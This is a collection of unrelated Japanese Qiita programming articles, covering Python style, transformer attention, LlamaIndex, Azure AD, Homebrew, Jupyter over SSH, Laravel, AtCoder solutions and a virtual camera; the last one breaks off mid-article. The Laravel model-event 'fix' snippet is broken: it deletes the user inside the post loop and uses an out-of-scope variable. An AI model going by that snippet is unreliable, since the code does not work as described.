OmniAICreator/Qiita-1.07M huggingface dataset:
PythonとPEP8: lambda式の適切な記述法について

## 概要
Pythonの教材で紹介されていたlambda式のサンプルコードの記述法を使っていたのですが、その記述法が実は、Pythonコードのスタイルガイド、`PEP8`では非推奨な記述法だったということが御座いました。そういった経緯を経て、私が実際に直面した誤りから学んだ`PEP8`をもとに`lambda式`の適切な使用方法について記述させて頂きます。

## ラムダ式とは何か?

Pythonでは、小さな無名関数を定義するために`lambda式`を使用することができます。これは一行で短い関数を記述するために便利な機能で、通常は他の関数の引数として使用されます。

例えば次のようになります：

```python
numbers = [1, 2, 3, 4, 5]
doubled = map(lambda x: 2*x, numbers)
```

この例では、`map関数`の引数としてラムダ式を使用しています。

## PEP8とラムダ式

しかし、Pythonの公式スタイルガイドである`PEP8`では、ラムダ式の使い方について明確な指針が示されています。特に、ラムダ式を変数に直接代入することは推奨されていません。

以下にその例を示します：

```python
# 間違い：
f = lambda x: 2*x
```

このような場合には、代わりに`def文`を使って関数を定義すべきです。

```python
# 正しい:
def f(x): return 2*x
```

このようにすることで、コードはより明確で読みやすくなります。そして、コードがPEP8に準拠することで、他のPythonプログラマーとの間でのコードの理解が容易になります。

## まとめ
PythonのPEP8スタイルガイドに準拠することは、Pythonプログラマーにとって重要な目標の一つであるべきです。その一方で、ラムダ式もその強力さと便利さから、適切に使用すると非常に効果的なツールとなります。しかし、それらを適切に使用するためには、Pythonのスタイルガイドを理解し、それに従うことが重要です。
検索エンジンの比喩で理解する注意機構

# TL;DR

- ソース・ターゲット注意の：
    - 前半はベクトル検索エンジンである
    - 全体は擬似適合性フィードバックである
- 自己注意の：
    - 前半はquery suggestionである
    - 全体はquery rewritingである

# ソース・ターゲット注意

**ソース・ターゲット注意**は、ベクトルの集合であるソースと、単一のベクトルであるターゲットを入力に取り、以下の計算を行う。

- ソースの各ベクトルに対して、ターゲットのベクトルとの関連性を計算する。
    - 例えばドット積を計算し、ベクトルの次元数の正の平方根で除算（スケール）した後ソフトマックス関数で正規化する。
- 関連性を重みとして、ソースの各ベクトルの重み付き和を計算し出力する。
    - （通常は注意機構の外にあるとされる計算だが）ターゲットのベクトルを出力に加えることもある（残差接続）。

![source-target.drawio.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/155352/349c2106-9eec-b1db-69a3-edf385036b45.png)

この前半部は、**ベクトル検索エンジン**の基本的な動作、クエリのベクトルに対してドキュメントの各ベクトルのスコアを計算することに例えられる。

また全体としては、ベクトル検索エンジンにおける**擬似適合性フィードバック**に例えられる。擬似適合性フィードバックは、スコアが高いドキュメントは検索意図に適合する可能性が高いことを利用して、それらのドキュメントから単語を抽出してクエリに加える手法である。ただしここで、ベクトル検索においてはドキュメントそのものをクエリに加えられるため、そうしているものと考えられる。

さらに、この比喩により、例えばトランスフォーマーに見られるソース・ターゲット注意機構のスタックは、擬似適合性フィードバックを適用したクエリにより再検索を行っていることに例えられる。（_ただし、全結合層や後述する自己注意機構を無視すればの話_）

![stack.drawio.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/155352/3cc56e39-c4ae-517d-1499-ec52edcc62b4.png)

なお、一般にはターゲットが複数のベクトルであるが、これは複数のクエリの並列処理に例えられる。

# 自己注意

**自己注意**においては、ソースとターゲットが同一である。引き続きベクトル検索エンジンの例えで説明する。

![self.drawio.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/155352/04231780-44d8-4147-6a2f-64ca4209d746.png)

前半部はクエリのベクトルに対してクエリ（複数）の各ベクトルのスコアを計算することに例えられる。これはクエリに対して関連性の高いクエリを返す、**query suggestion**の基本的な動作である。

また全体としては、スコアを重みとしてクエリ（複数）を元のクエリに加えている。これはクエリを自動で書き換える**query rewriting**の基本的な動作である。

さらに、この比喩により、例えばトランスフォーマーに見られる自己注意機構のスタックは、query rewritingを繰り返し行っていることに例えられ（_ただし、全結合層を無視すればの話_）、また、自己注意機構の後段にソース・ターゲット注意機構を接続することは、query rewritingと擬似適合性フィードバックを連続で行っていることに例えられる。

# 今のところ比喩で理解しきれないトピック

## （一般の）注意

一般の注意においてはターゲットは2ベクトル（キーと値）のペアの集合である。
関連性の計算にはキーを用い、重み付き和の計算には値を用いる。

![attention.drawio.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/155352/8c433d26-364c-55b4-dcf9-070f4148643f.png)

これはベクトル検索においては、各ドキュメントが2つのベクトルを部分ドキュメント（フィールド）に持ち、スコア計算とクエリへのフィードバックにおいて異なるフィールドを参照していることに相当する。

言い換えると、擬似適合性フィードバックの前後で、クエリの背後に異なるモデルを仮定しているということである。（_ただし、今度は残差接続を無視すればの話_）

## マルチヘッド注意

マルチヘッド注意においては、ソース・キー・値の各ベクトルに3通りの異なる線形変換をかける。
さらに複数通り（$h$通り、組み合わせで$3h$通り）の線形変換をかけ、それぞれ注意を行う。
得られた$h$通りの出力を書き並べ、また異なる線形変換をかけてソース・キーの次元数に戻す。

![multi-head.drawio.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/155352/6f8ff40a-7d97-b174-d567-b3e0fa48a1e0.png)

## Masked Attention

Masked Attentionは、系列データに対して注意を行う場合の訓練時に、推論したい位置の重みをゼロに固定してリークを防ぐ手法である。

![masked.drawio.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/155352/5f39ac24-2236-2593-3edc-9684943ee0c7.png)

# 参考文献

- 岡谷 貴之, 深層学習 改訂第2版, 講談社, 2022.
- Stefan Büttcher et al., 情報検索, 森北出版, 2020.
- Ashish Vaswani et al., Attention Is All You Need, arXiv:1706.03762v5 [cs.CL], 2017.
    - https://arxiv.org/abs/1706.03762
ChatGPTにLlamaindexを使って独自情報を回答させる

ChatGPTのAPIを使っていて、独自の情報を学習させて回答をさせたい場合がある。
Llamaindexを使って試してみる。

# 環境準備
```zsh
% pip3 install llama-index
% pip3 install transformers
% export OPENAI_API_KEY="sk-xxxxxxx"
% export TOKENIZERS_PARALLELISM="false"
```
OPENAI_API_KEY に自分のAPIキーを指定しておく。

# データ準備
dataディレクトリにIndexさせたい情報を準備する。
今回は下記のホームページの情報をテキストデータで保存した。
https://www.town.ibaraki-sakai.lg.jp/page/page002440.html
複数のファイルをdataディレクトリに置くことが可能。
各ファイルを10kb程度の意味を持った単位で保存するとよいそう。
例：会社情報.txt、運行情報.txt、将来構想.txt

```text:./data/sakaimachi_bus.txt
境町では、ソフトバンク株式会社の子会社であるBOLDLY株式会社及び株式会社マクニカの協力のもと、自動運転バスを3台導入し、生活路線バスとして定時・定路線での運行を令和2年11月26日（木）から開始しました。なお、自治体が自動運転バスを公道で定常運行するのは、国内で初めてです。

※乗車定員11人以上の車両が、一般の方の移動手段として期間を限定せずに大半の区間を自動で走行するのは初めて（BOLDLY株式会社調べ）

運行の詳細について
乗車料金
無料

乗車人数
8名に制限中（令和3年10月4日より）

運行時間
午前7時40分〜午後4時まで　土日祝日も運行
（令和4年7月1日より）

便数
18便（令和4年7月1日より）

（同時に2台を運行し、その間に他1台の充電やメンテナンス等を行います。）

停留所数
17か所

よくある質問
車いす利用のままバスに乗れますか。
スロープを装備しておりますので、そのままご乗車いただけます。
ペットを連れたままバスに乗れますか。
ペットをお連れになる場合は、キャリーケースに入れてご乗車をお願いします。

運行ルート
ルートは、今後住民の要望に合わせて順次拡大し、利便性を高めていく予定です。
```

# Index作成
```python:make_index.py
from llama_index import GPTVectorStoreIndex, SimpleDirectoryReader, StorageContext, load_index_from_storage

# indexの作成と保存
documents =  SimpleDirectoryReader("./data/").load_data()
index = GPTVectorStoreIndex.from_documents(documents)
index.storage_context.persist()
```
実行するとstorageディレクトリが作られ、その中にインデックス情報が作成される。

# Index読み込みと質問回答
```python:query.py
from llama_index import GPTVectorStoreIndex, SimpleDirectoryReader, StorageContext, load_index_from_storage

# Indexの読み込み
storage_context = StorageContext.from_defaults(persist_dir="./storage")
index = load_index_from_storage(storage_context)

# 質問を投げる
query_engine = index.as_query_engine()
print(query_engine.query("自動運転バスは朝何時から走っている？"))
```
以下のように期待した回答が返ってきた。
```
自動運転バスは午前7時40分から走っています。
```

# 参考情報
https://recruit.gmo.jp/engineer/jisedai/blog/llamaindex-chatgpt-tuning/

https://note.com/npaka/n/n50475d6c3118
entry point (_main) undefined. for architecture x86_64のエラーの解決した方法

今回は久々にプロジェクトをビルドしたらエラーになったので、自分が解決した方法を残しておこうと思います。



`entry point (_main) undefined. for architecture x86_64`
のエラーが出ました。


こちら`@main`が消えていたり、コメントアウトされているエラーでした。

なので`@main`を適正な箇所に記載すればエラーが消えました。
Javafxがインストールできない

# **pleiadesにJavafxをインストールできない**
## **環境**
pleiades-2021-12-ultimate-win-64bit-jre_20220106(業務環境)
※pleiades-2023-03-ultimate-win-64bit-jre_20230326では通常操作でJavafxはインストールできた
## **エラー表示**
![javafx_error1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3457911/3f3a054a-6b74-17a1-abf5-ee6d6aa40435.png)
　設定項目のネットワークをマニュアルに変えたり、インストール/更新項目を再ロードしてもエラー表示は変わらなかった。
　現象として、エラー時はインストール時間が5~10分と非常に長かった
## **解決**
↓設定を押す
![settings.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3457911/d4efec4e-c0fc-b568-1431-771d26c7fd37.png)
↓インストール/更新の中にある使用可能なソフトウェア・サイトを選択
![update.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3457911/b983af62-ceb3-7794-ad8c-94c23fc57153.png)
↓リストにあるものを全選択してエクスポート（どこでも）して全削除
![soft.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3457911/4b7bfad1-f075-1ff8-dd56-05291f808507.png)
↓きれいさっぱりにする
![soft.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3457911/d22a5571-2b7c-2c77-3c5f-84b55fb896d3.png)


・全削除後”適用して閉じる”ボタンを押して再度Javafxのインストール操作を行う

↓[ヘルプ]→[新規ソフトウェアのインストール...]

![oxygen.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3457911/2a07c3fa-0f5b-69c3-93a5-ef3932267477.png)

↓インストール完了後のサイトにバックアップしたサイトをインポートする
![after.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3457911/f30cdd79-fecf-ba8b-d0b3-bb1a65c96b02.png)
![after.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3457911/9b5e40ca-9074-f864-9138-ee7d5b25144b.png)

## **最後に**
すでにインストールされている何かと競合してる可能性があるし、今後Javafx使用中にエラーが起きるかもしれないので皆さんは最新バージョンでJavafxを使うようにしよう
FlaskでAIとおしゃべりするインターフェースを作る

## 概要
自然言語処理の勉強の過程でrinnaの日本語GPT-2モデルをファインチューニングしました。
以下、私がファインチューニングしたrinnaの日本語GPT-2モデルのことを、作成したWebアプリケーションの画面表示に基づき、「もこなGPT」と呼称します。
プログラミングをした事がない人（ターミナルやエディタの操作に不慣れな人）も、もこなGPTとおしゃべりしてもらいたいと考え、操作がしやすいWebアプリケーションのインターフェースを作成することにしました。

## 使用言語、ライブラリなど
- Python 3.8.14
- Flask 2.2.3
- Flask-SQLAlchemy 3.0.3
- transformers 4.23.1

## 使用コード
以下のGithubのページにプログラムをアップロードしてあります。
https://github.com/MokonaSato/ChatConnector.git

ただし、以下はアップロードしていないので、ご自身でご用意ください。
- staticディレクトリ配下のcat.png (猫のイラスト画像)
- gpt2ディレクトリ配下のoutput (ファインチューニング済み言語モデル) 

参考：[rinnaの日本語GPT-2モデルのファインチューニングを試す](https://note.com/npaka/n/n9f2f6aa0eb0b)

## つまづいたポイント
私が想定していたのは
1. ユーザが入力する
2. 1で入力した文字列が画面上に表示される
3. 1の文字列に対し、もこなGPTが返答を生成する
4. (2秒待つ)
5. 3で生成した返答が画面上に表示される
という風に動くアプリケーションでした。
![movie.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3118714/471b1b8d-6539-2d31-8d3a-20d0f7f3bf3a.gif)

これを実現する方法がなかなか見つからず、苦戦しました。

## 解決策
![もこなGPT.001.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3118714/50ea23ad-1511-6681-fdd1-346691abce5c.png)

1. ユーザが画面上のテキストボックスに文字列を入力する
2. 1がindex.html内のJavaScript文とApp.pyに送られる
3. JavaScript文により画面上に既に表示されている文字列と1の文字列が表示される
4. App.pyにおいて、Databaseに1の文字列と入力者 (ユーザ、表示名は「あなた」) が登録される
5. App.pyにおいてもこなGPTが呼び出され、1の入力に対する応答が生成される
6. 4の応答と入力者 (もこなGPT、表示名は「もこな」) が登録される
7. App.pyにおいて、Database上に記録された全レコードが取得される
8. App.pyがindex.htmlに7の全レコードが送信され、画面上に表示される
この方法により、想定していたアプリケーションを作ることができました。

## M1 Macでtransformersをインストールする方法
私はM1チップ搭載Macbook Airで開発したので、transformersは以下の記事に従ってインストールしました。
参考：[Install Hugging Face Transformers on Apple M1](https://towardsdatascience.com/hugging-face-transformers-on-apple-m1-26f0705874d7)

## 開発に際して参考にしたサイト
[【保存版】30分でFlask入門！Webアプリの作り方をPythonエンジニアが解説](https://tech-diary.net/flask-introduction/)
[【Flask】formからサーバーサイドにテキストや各種コントロール、ファイルを渡す](https://tanuhack.com/flask-client2server/)
閉鎖環境にてCloudFormationを実行するEC2インスタンスを構築しよう

# はじめに
インターネットに接続できない閉鎖環境で、CloudFormationを実行するEC2を構築する。
Direct Connectを利用したネットワーク環境を想定し、オンプレミスとAWS環境が既に構築されているものとする。

# AWS リソース構築内容
  1. EC2
      - EC2インスタンス (Amazon Linux 2)
      - セキュリティグループ (22ポート開放)
      - IAMロール (AdministratorAccess)
      - キーペア
 
  2. VPCエンドポイント
      - Interface (cloudformation)
      - セキュリティグループ (443ポート開放)
      - プライベートサブネットを指定


# AWS CLIの実行方法

```sh:
    aws cloudformation create-stack \
    --stack-name ${SYSTEM_NAME}} \
    --template-body file://./${Template}.yml \
    --endpoint-url https://${END_PONT_DNS}
```
Azure Active Directoryについて学習した

# 1.　Azure Active Directoryとは？

## そもそも知った経緯について

DataBricksクラスターを立てて、
Azure Data Lake Gen-2 StorageにあるデータをSparkで取得しようとしたところ、認証エラーっぽいエラーが生じた。

調べていくと、
Azure Active Directory　となるものがあるらしい。

ということでその存在を知った
# 2.Azure Active Directoryとは

Azure Active Directory (Azure AD) は、Microsoft Azureのクラウドベースの統合認証およびアクセス管理サービスです。

Azure ADは、組織内のユーザーやグループのアカウントを中央で管理し、それらのアカウントを使用してAzureリソースやクラウドベースのアプリケーションへのアクセスを制御します。また、Azure ADは、外部のクラウドアプリケーションやオンプレミスのアプリケーションとの統合も可能です。

つまり、
Azure ADを１つ作成すれば、それを中心として
シングルサインオンの接続が可能ということ！

自分の場合は、
Azure ADで統合していれば、エラーを吐かれることなく接続ができたということなのですね。

# 3.ADの設定方法

設定は至ってシンプルです
まずはコンソールからAzure Active Directoryというサービスをクリックします。
![スクリーンショット 2023-06-11 17.35.42.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2526914/d5757d50-fad0-dd46-33aa-2d6425926f49.png)


左側に『アプリの登録』というのがあるので、それを選択し、その後
新規登録を選択します。
今回は『qiitaLearning』という名前で登録します
![スクリーンショット 2023-06-11 17.38.00.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2526914/a1e857e7-0a53-b67b-c61d-ed0f6bfa19d0.png)

アプリケーション (クライアント) ID:
オブジェクト ID:
ディレクトリ (テナント) ID:
それぞれが表示されていると思うので、
先ほど作成したアプリ名と一緒にローカルのメモなどに保存してください

また、DataBricksとの接続を行うために、認証情報を作成します
 『証明書とシークレット』というのが左側にあるので、それで適宜設定し、
シークレットキーなどはローカルに大切に保存してください


# 3.1 サービス プリンシパルに Azure Data Lake Storage Gen2 へのアクセス権を付与する

ストレージリソースへのアクセスを許可するには、サービスプリンシパルにロールを割り当てる必要があります。

Azureポータルから、対象のストレージアカウントを選択し、
『ロールの割り当て』を行います

今回は、Storage File Data Privileged Contributor
というロールを作成した
Azure AD アプリケーション名
に設定しました。

![スクリーンショット 2023-06-11 17.59.17.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2526914/a01f71ae-8ef8-fb1e-982a-18553d343c13.png)


# 4.その後：キーコンテナーを使用すれば、DataBricksへの接続が可能になる
実際に、キーコンテナーを使用して、接続したい方はぜひこちらを参考にしてみてください。


https://learn.microsoft.com/ja-jp/azure/databricks/getting-started/connect-to-azure-storage

# 5.まとめ：ADとキーコンテナーを組み合わせれば、便利にサービスが統合できそう

自分自身データフローの構築を学習しており、データソースなどの接続が多くなればなるほど
こうした一元管理はとても便利だと常々感じます。
また、アクセス面においてもとても便利に働くので、これから使っていきたいと思います。

それでは。
備忘録：Macにhomebrew経由でGROMACSをインストールしたけど動かない

MacにGROMACSをインストールするには、homebrewからコマンドひとつでできるらしい。便利。

https://qiita.com/Ag_smith/items/2432375399e7d7868138


```shell
brew install gromacs
...

gmx --version
zsh: command not found: gmx
```
動かないのである。


試しにもう一度インストールしてみるとリンクしろと言われる。

```shell
brew install gromacs
...
Warning: gromacs 2023.1 is already installed, it's just not linked.
To link this version, run:
  brew link gromacs
```
その通りにやってみると
```shell
brew link gromacs
Linking /usr/local/Cellar/gromacs/2023.1... 
Error: Could not symlink lib/cmake/muparser
/usr/local/lib/cmake is not writable.
```
/usr/local/lib/cmakeに書き込めないと言われる。
見てみると

```shell
ls /usr/local/lib -alh
...  
drwxr-xr-x    3 root  wheel    96B 10 16  2020 cmake
```
所有者がrootでwriteできないので所有者を変えます。
```shell
sudo chown -R ユーザー名:admin /usr/local/lib/cmake 

ls /usr/local/lib -alh
...
drwxr-xr-x    3 ユーザー名   admin    96B 10 16  2020 cmake
```
もう一度リンク！
```shell
brew link gromacs            
Linking /usr/local/Cellar/gromacs/2023.1... 143 symlinks created.

gmx --version
...
GROMACS version:    2023.1-Homebrew
...
```
動いた！
初歩的な問題だったようです。
SSH接続＋VSCodeでのJupyterカーネルのバックグラウンド実行 for Kaggler

# はじめに
ノートPCからデスクトップPCにSSH接続を行う際、VSCodeを終了するとJupyterのカーネルも同時に終了してしまいます。ノートPCの電源を切ったり、SSH接続が切れてもカーネルは終了させずにバックグラウンドで実行を続けることが、本記事の目的です。

# どんな時に使えるの？
私は趣味で[Kaggle](https://www.kaggle.com/)に参加しており、MacBookから自宅の自作PCにSSH接続するという形で運用しています。この方法により、使い慣れたMacBook（のVSCode）でコーディングを行いつつ、自作PCの計算資源を活用できます。しかし、深層学習モデルの学習といった実行時間が長い処理を行う場合、MacBookがスリープしたり回線が切断されると、その学習も途中で停止してしまいます。このような場合は本記事の方法によりVSCodeのJupyterをバックグラウンド実行させておくことで、学習を止めずに回し続けることができます。

# 開始時
## 1. VSCodeサーバーを立ち上げる
- デスクトップ側のターミナルで以下のコマンドを実行し、Jupyterサーバーを立ち上げる。
```terminal
nohup jupyter notebook &
```
- カレントディレクトリに`nohup.out`ファイルが生成されるので、中に記載されているJupyterの**リンクをコピー**する。
    - リンクの例: `http://localhost:8890/?token=be27f057c61ef5a258fc9f1cc989905b9085450e34305f44`
    - なお、上記のリンクは[GitHubのissue](https://github.com/microsoft/vscode-jupyter/issues/1378#issuecomment-1004422673)から取ってきたものです。
    - 注) リンクが見つからない場合は、rootユーザーとして実行するとリンクが出力される可能性があります。`nohup jupyter notebook --allow-root &`

## 2. VSCodeでURLを指定する
- VSCodeのJupyterファイルを開き(今回はexp001.ipynb)、右上にある`カーネルの選択`をクリック
- `別のカーネルを選択` → `既存の Jupyter サーバー` → 先ほどコピーした**リンクをペースト**
![イメージ.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1167191/b71f003d-b34d-e6a9-39b5-69aa3902054e.jpeg)
![イメージ1.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1167191/90eddcca-774c-421f-de39-a3180789e835.jpeg)
![スクリーンショット 2023-06-11 1.56.30.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1167191/a5e7c5cb-9431-8f8f-3f1c-0d6346fa21af.png)


これでVSCodeを落としたりSSH接続を切ってもカーネルが切れなくなりました。

# 終了時
- デスクトップ側のターミナルで以下のコマンドを実行することで、起動中のサーバーのポート番号を調べる。
```terminal
jupyter notebook list
```
- サーバーを落とす(今回はポート番号が8890でした)。
```terminal
jupyter notebook stop 8890
```

以上です。簡単ですね！

# 備考
- [GitHubのissue](https://github.com/microsoft/vscode-jupyter/issues/1378#issuecomment-1004422673)によると、上記の作業は各notebookごとに行う必要があります。
>Is this tedious to do for every individual notebook one wishes to persist? Yes, absolutely. Is it less tedious than having to rerun remote notebooks anytime your computer snoozes/sleeps? ¯\(ツ)/¯

# 参考文献
[GitHubのissue](https://github.com/microsoft/vscode-jupyter/issues/1378#issuecomment-1004422673)
[裏で動いているJupyter Notebookのサーバーを落とすコマンド
](https://cocoinit23.com/jupyter-notebook-stop/)
LaravelのMiddlewareで優先付けを行う

## 前提
複数のMiddlewareを設定する時、順番を指定しなければならない場合がある。

## 方法
`app/Http/Kernel.phpファイル`に`$middlewarePriority`を追加する。
※`$middlewarePriority`はデフォルトでは存在しない。
```.php
protected $middlewarePriority = [
    \Illuminate\Session\Middleware\StartSession::class,
    \Illuminate\View\Middleware\ShareErrorsFromSession::class,
    \Illuminate\Contracts\Auth\Middleware\AuthenticatesRequests::class,
    \Illuminate\Routing\Middleware\ThrottleRequests::class,
    \Illuminate\Session\Middleware\AuthenticateSession::class,
    \Illuminate\Routing\Middleware\SubstituteBindings::class,
    \Illuminate\Auth\Middleware\Authorize::class,
];
```

上記を設定すると上から順番にMiddlewareが実施される。

## 参考

https://readouble.com/laravel/7.x/ja/middleware.html
RubyでAtCoder ABC305(A, B, C)を解いてみた

今回は、RubyでAtCoder ABC305のA, B, Cを解きました。備忘録として解き方をまとめていきたいと思います。

# A - Water Station
https://atcoder.jp/contests/abc305/tasks/abc305_a
```diff_ruby:a-305.rb
- puts (gets.to_f / 5).round * 5
+ puts gets.to_i.quo(5).round * 5
```
## 解説
与えられた整数を5で割ったものを小数点で四捨五入し、そこに5をかけたものが答えとなります。

# B - ABCDEFG
https://atcoder.jp/contests/abc305/tasks/abc305_b
```ruby:b-305.rb
x, y = gets.split.sort.map{ |i| i.ord - 65 }
z = [3, 1, 4, 1, 5, 9]
puts z[x...y].sum
```
## 解説
`ord`メソッドを使って、与えられた文字を数値に変換し、それらに対応する距離を求めることで解くことができます。

# C - Snuke the Cookie Picker
https://atcoder.jp/contests/abc305/tasks/abc305_c
```ruby:c-305.rb
h, w = gets.split.map(&:to_i)

top = left = Float::INFINITY
buttom = right = 0
array = Array.new(h){ gets.chomp }

h.times do |i|
  w.times do |j|
    if array[i][j] == "#"
      top = [top, i].min
      buttom = [buttom, i].max
      left = [left, j].min
      right = [right, j].max
    end
  end
end

top.upto(buttom) do |i|
  left.upto(right) do |j|
    if array[i][j] == "."
      puts "#{i + 1} #{j + 1}"
      exit
    end
  end
end
```
```diff_ruby:別解
h, w = gets.split.map(&:to_i)

array = Array.new(h){ gets.chomp }
no_cookie = "." * w
top = array.index{ _1 != no_cookie }
buttom = array.rindex{ _1 != no_cookie }
left = Float::INFINITY
- right = 0

h.times do |i|
  w.times do |j|
-   if array[i][j] == "#"
-     left = [left, j].min
-     right = [right, j].max
-   end

+   left = [left, j].min if array[i][j] == "#"
  end
end

- top.upto(buttom) do |i|
-   left.upto(right) do |j|
-     if array[i][j] == "."
-       puts "#{i + 1} #{j + 1}"

+ left.upto(w - 1) do |i|
+   top.upto(buttom) do |j|
+     if array[j][i] == "."
+       puts "#{j + 1} #{i + 1}"
        exit
      end
    end
  end
```
## 解説
最初に、`#`となっている最小・最大の行および列を求めます。このとき答えは、その範囲で`.`となっている部分の行・列の値となります。

https://qiita.com/shoya15/items/50fd17e37d7c64f2b166
JSXでタグ自動補完がされない時（VSCode）

JSXでhtmlタグが自動補完されず、コーディングが捗らなかったのでメモ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2523103/f2619017-f007-1475-d5b9-56428c80ca7d.png)

①右下の言語モードを選択
②「JavaScript JSX」を選択
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2523103/47e10df3-ddeb-36d2-d7c7-b9f6153a50d8.png)



これだけでOK
ファイル名が.jsだと自動検出でうまくいかないみたいです。
【Laravel】Modelのイベントが発火しなかった原因と解決法

Laravelのモデルイベントについて理解が少なく、イベントが発火しない条件があることを知ったのでまとめておきます。


## 事象

LaravelのmodelのDeletingイベントを使用してリレーション先を削除しようとした際に、イベントが発火されていなかった。

## 原因

結論としては、以下のことが原因だった

(laravel readableより引用) url: https://readouble.com/laravel/8.x/ja/eloquent.html
> Note: Eloquentを介して一括更新を発行する場合、更新されたモデルに対して、saving、saved、updating、updatedモデルイベントは発生しません。これは一括更新を実行する場合に、モデルが実際には取得されないからです。
>

## 実際の例

Userとそれに紐づくPost、またPostに紐づくコメントがあるとする。

特定のUserが消えた際に全てのPost,それに紐づくコメントを消すのをmodelイベントを駆使して実行します。

**controller**

```php
// ユーザーを削除
public function delete(int $id): void
{
	User::find($id)->delete();
}
```

**UserModel**

削除が実行された際に、紐づいているPostも削除する。

*これはモデルイベントが発火するのでうまく行きます。

```php
// イベント発火時の挙動を定義
protected static function boot()
{
    parent::boot();

    // ユーザー削除時に紐づいている投稿も削除する
    static::deleting(function ($user) {
        $user->posts()->delete();
    });
}

// postとのリレーション
public function posts(): HasMany
{
    return $this->hasMany(Post::class);
}
```

**PostModel**

Postが削除された際に、紐づいているCommentも削除する。

*Userモデルで一括削除されているので、こちらのモデルイベントは発火しません。

```php
// イベント発火時の挙動を定義
protected static function boot()
{
    parent::boot();

    // 投稿削除時に紐づいているコメントも削除する
    static::deleting(function ($post) {
        $post->comments()->delete();
    });
}

// commentとのリレーション
public function comments(): HasMany
{
	return $this->hasMany(Comment::class);
}
```

## 解決法

- UserモデルでのPost削除を一括ではなく、ループで実行する

紐づく投稿を個別で削除してあげることにより、全てのPostに関するモデルイベントが発火するようになる。

変更後

```php
// イベント発火時の挙動を定義
protected static function boot()
{
    parent::boot();

    // ユーザー削除時に紐づいている投稿も削除する
    static::deleting(function ($user) {
        // Postのdeletingイベントを発火させるためにループで実行
        $user->posts->each(function ($post){
		    $user->delete();
        });
    });
}
```

- cascadeOnDeleteを使用してMigrationファイルで操作する。

ここでは書きませんが、cascadeOnDelete等で指定したら紐づいているデータも親データ削除時に自動的に削除が実行されます。

ただ、softDeleteとは互換性がないので、論理削除を利用している場合には向きません。
髭を除去した映像を出力する仮想カメラを作った

# 概要
業務でWeb会議をする際に髭がきれいに剃ってあると清潔感が出て相手に好印象を与えます。
しかし、髭を剃り忘れることもありますし頻繁に剃ると肌に負担がかかります。
以前はSnap Cameraのフィルターで髭を除去していましたが2023年6月現在ではサービスが終了して使えません。
そこで、髭の除去をシェーバーではなくソフトウェアに任せるスクリプトのサンプルを作成しました。

# 作ったもの
ソースコードは[GitHub](https://github.com/noritsune/beard-removed-v-cam-sample)で公開しています。

以下の様に顔の下半分をぼかすことで髭を目立たなくします。
※これは画像生成AIで生成された実在しない人物です。

処理前
![sample_face_original.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/413932/823743cb-a4e2-0cd6-68c5-a084f1ecc277.png)

処理後
![sample_face_proceed.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/413932/5a9f90e6-1e98-1186-82f2-3922f4128bf4.png)

# 動作環境
Windows 10
Python 3.9.13

# 使用ツール
- [MediaPipe](https://developers.google.com/mediapipe)
  - 顔や手などを機械学習で検出できるライブラリ
  - Googleが公開している
- [OpenCV](https://opencv.org/)
  - 言わずとしれた画像処理ライブラリ
- [pyvirtualcam](https://github.com/letmaik/pyvirtualcam)
  - OBSの仮想カメラに映像を出力するためのpython用ライブラリ

# 工夫したこと
## 髭の生える領域だけをぼかす
OpenCVの画像をぼかす関数は領域を指定することができません。そこで、以下の手順で処理しました。

1. 入力画像全体をぼかす
1. 髭の生える領域のマスクを作る
1. ぼかした画像の髭部分 + 入力画像の髭以外の部分を出力する
    - ![髭以外.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/413932/66ee062c-0414-00ac-ef0a-e91851798813.png)
    - ![髭.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/413932/e915e668-29ca-a489-de06-23f4417ef351.png)

髭の生える領域は[こちらの画像](https://github.com/google/mediapipe/blob/a908d668c730da128dfa8d9f6bd25d519d006692/mediapipe/modules/face_geometry/data/canonical_face_model_uv_visualization.png)を見ながら手動で頂点インデックスの配列として定義しました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/413932/273daf23-be45-fb08-842e-53b59f2c51d6.png)
``` face_mesh_point_idxes.py
beard_point_idxes = [
    # 左もみあげ → 人中
    132, 177, 147, 187, 207, 206, 203,  98,  97,   2,
    # 人中 → 右もみあげ
    326, 327, 423, 426, 427, 411, 376, 401, 361,
    # 右もみあげ → あご中心
    288, 397, 365, 379, 378, 400, 377, 152,
    # あご中心 → 左もみあげ
    148, 176, 149, 150, 136, 172,  58, 132,
]

mouse_point_idxes = [
    # 上
     61, 185,  40,  39,  37,   0, 267, 269, 270, 409,
    # 下
    291, 375, 321, 405, 314,  17,  84, 181,  91, 146,
]
```

## 口を開けた時に顎がはみ出すことを防止する
MediaPipeの検出した顔の領域をそのまま使用すると、口を大きく開けた時に顎の先が検出結果とズレてぼかし領域からはみ出しました。
そこで、ぼかし領域を中心から1.1倍拡大することではみ出さない様にできました。

## 解像度を低めに設定することでフレームレートを確保する
